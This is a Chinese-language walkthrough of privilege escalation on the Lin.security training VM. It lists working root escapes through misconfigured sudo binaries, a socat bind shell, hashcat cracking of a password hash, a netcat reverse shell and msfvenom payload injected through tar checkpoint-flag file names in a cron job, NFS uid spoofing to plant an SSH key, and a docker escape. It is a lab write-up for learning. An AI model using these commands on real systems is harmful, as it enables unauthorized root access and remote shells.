Lin.security靶机提权
lin.security靶机描述:在in.security,我们希望开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。
账户名:bob
密码:secret
环境问题:
直接打开security会发现网络配置有些问题,无法获取到IP,需要自己先配置一下。
先提取权限,因为配置网络需要用到root权限。密码为secret。
sudo awk 'BEGIN {system("/bin/bash")}'
注:因为键盘布局问题,双引号和@互换位置。
(1).修改键盘布局。
vim /etc/default/keyboard
按i进入编辑模式,XKBLAYOUT改为us。
修改好后退出:wq,重新运行此服务。
setupcon
(2).配置网卡
vim /etc/netplan/50-cloud-init.yaml
将enp0s3改为ens33后退出重启即配置完成。
netplan apply
完成以上步骤后返回普通用户方便以后的提取测试。
su - bob
1.主机扫描。
arp-scan -l
2.端口扫描
nmap -A -sV -p- 192.168.254.134
看到开放了22端口。
根据账号进行远程连接。
ssh bob@192.168.254.134
3.sudo提权
sudo -l 查看root权限 看到有很多提权方法。
(1)常规方法
sudo /bin/bash
sudo ash
sudo csh
sudo dash
sudo bash
sudo sh
sudo curl
sudo zsh
(2)socat提权:
需要用到两个窗口,先在服务端建立一个端口1234的shell。
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
再开一个kali终端远程连接,并启动本地的1234端口listeni。
socat FILE:`tty`,raw,echo=0 TCP:192.168.254.134:1234
提权成功。
(3)awk提权:
sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo awk 'BEGIN {system("/bin/zsh")}'
(4)ed提权:
ed命令用于启动ed文本编辑器,使用ed命令访问空缓冲区来调用bash/sh shell提权。
sudo ed
!sh
exit返回上级后q退出。
(5)find命令提权:
sudo find . -exec /bin/sh \; -quit
(6) env环境变量提权:
有些应用程序使用了system等函数调用了系统命令,但是没有使用绝对路径而是使用env命令从环境变量中进行查找,这就能通过修改环境变量来进行提权。
sudo sh -c 'cp $(which env) .; chmod +s ./env'
./env /bin/sh -p
(7)less、more、man提权:
sudo less /etc/passwd
!/bin/sh
sudo more /etc/passwd
!/bin/sh
sudo man man
!/bin/sh
(8)expect提权:
Expect是UNIX系统中用来实现自动化控制和测试的软件工具,作为Tcl脚本语言的一个扩展应用在交互式软件中,如Telnet、FTP、SSH等。
sudo expect -c "spawn /bin/sh;interact"
(9)perl提权:
sudo perl -e 'exec "/bin/bash";'
(10) ssh提权:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
(11)scp提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
(12)vi提权:
sudo vi -c ':!/bin/sh' /dev/null
(13)rvim提权:
sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
(14)pico提权:
sudo pico
然后按住ctrl+r和ctrl+x后输入以下命令:
reset; sh 1>&0 2>&0
执行完后再次按住ctrl+r和ctrl+x后输入要以root权限执行的命令,例如whoami。
(15)tclsh提权:
Tcl是用于工具命令的一个解释器,它由作为基本命令解释器嵌入到工具(比如编辑器、调试器等)中的一个库包组成。Tcl 代表了“tool command language - 工具命令语言”,程序可以把它用作自己的命令语言的基础。
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
(16)git提权:
sudo git提权与sudo vi类似,不过git使用的是帮助信息未显示完全可以输入命令打开shell
sudo git -p help config
!/bin/sh
q退出。
(17)script提权:
sudo script -q /dev/null
4.密码信息收集提权
hash爆破:
a. 查看/etc/passwd
发现语句类似root:x:0:0:root:/root:/bin/sh,x表示该用户密码hash保存在/etc/shadow中。
cat /etc/passwd
b.尝试爆破insecurity的密码:
字典在kali的
usr/share/wordlists/rockyou.txt中
本人rockyou.txt需要先解压,,进入到目录后解压才能运行。
hashcat AzER3pBZh6WZE -m 1500 rockyou.txt
###
5.定时任务cron提取:
(1).在kali上生成反弹shell的payload:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.254.130 lport=1234 R
(2).payload写入到定时任务的sh文件中:
echo "mkfifo /tmp/jagoff; nc 192.168.254.130 1234 0</tmp/jagoff | /bin/sh >/tmp/jagoff 2>&1; rm /tmp/jagoff" > shell.sh && chmod +x shell.sh
echo "" > "–checkpoint-action=exec=sh shell.sh" //注入一个指定检查点动作的标志
echo "" > --checkpoint=1//注入一个标志来指定我们的检查点
我们在另外一个会话终端,远程连接靶机,并开启nc监听,成功反弹shell。
nc -lvnp 1234
6、NFS提权:
1.因为在扫描端口的时候发现开放了NFS端口:2049,查看挂载位置:
showmount -e 192.168.254.134
2.进行挂载:
mount -t nfs 192.168.254.134:/home/peter /tmp/
看到root可以直接访问root目录,但是不能将文件直接拷贝到网络共享目录中。
3.原理为:在Kali上挂载NFS共享,创建一个具有与导出(1001/1005)相同的uid/gid的新用户,然后登录该用户即可写入导出文件
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
ls -al /tmp
4.切换peter用户,创建ssh密钥进行连接,访问Lin.security上的/home/peter:
su peter
ssh-keygen
5.因为可以写入文件,将id_rsa.pub内容复制至authorized_keys,后放至挂载的目录下,赋权644或600
cat id_rsa.pub > /tmp/authorized_keys
chmod 700 ../.ssh/
chmod 600 chmod 600 authorized_keys
6.远程连接:
ssh -i id_rsa peter@192.168.225.192
7.连接成功后使用strace提权:
strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
sudo strace -o /dev/null /bin/sh
或者docker组提权:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease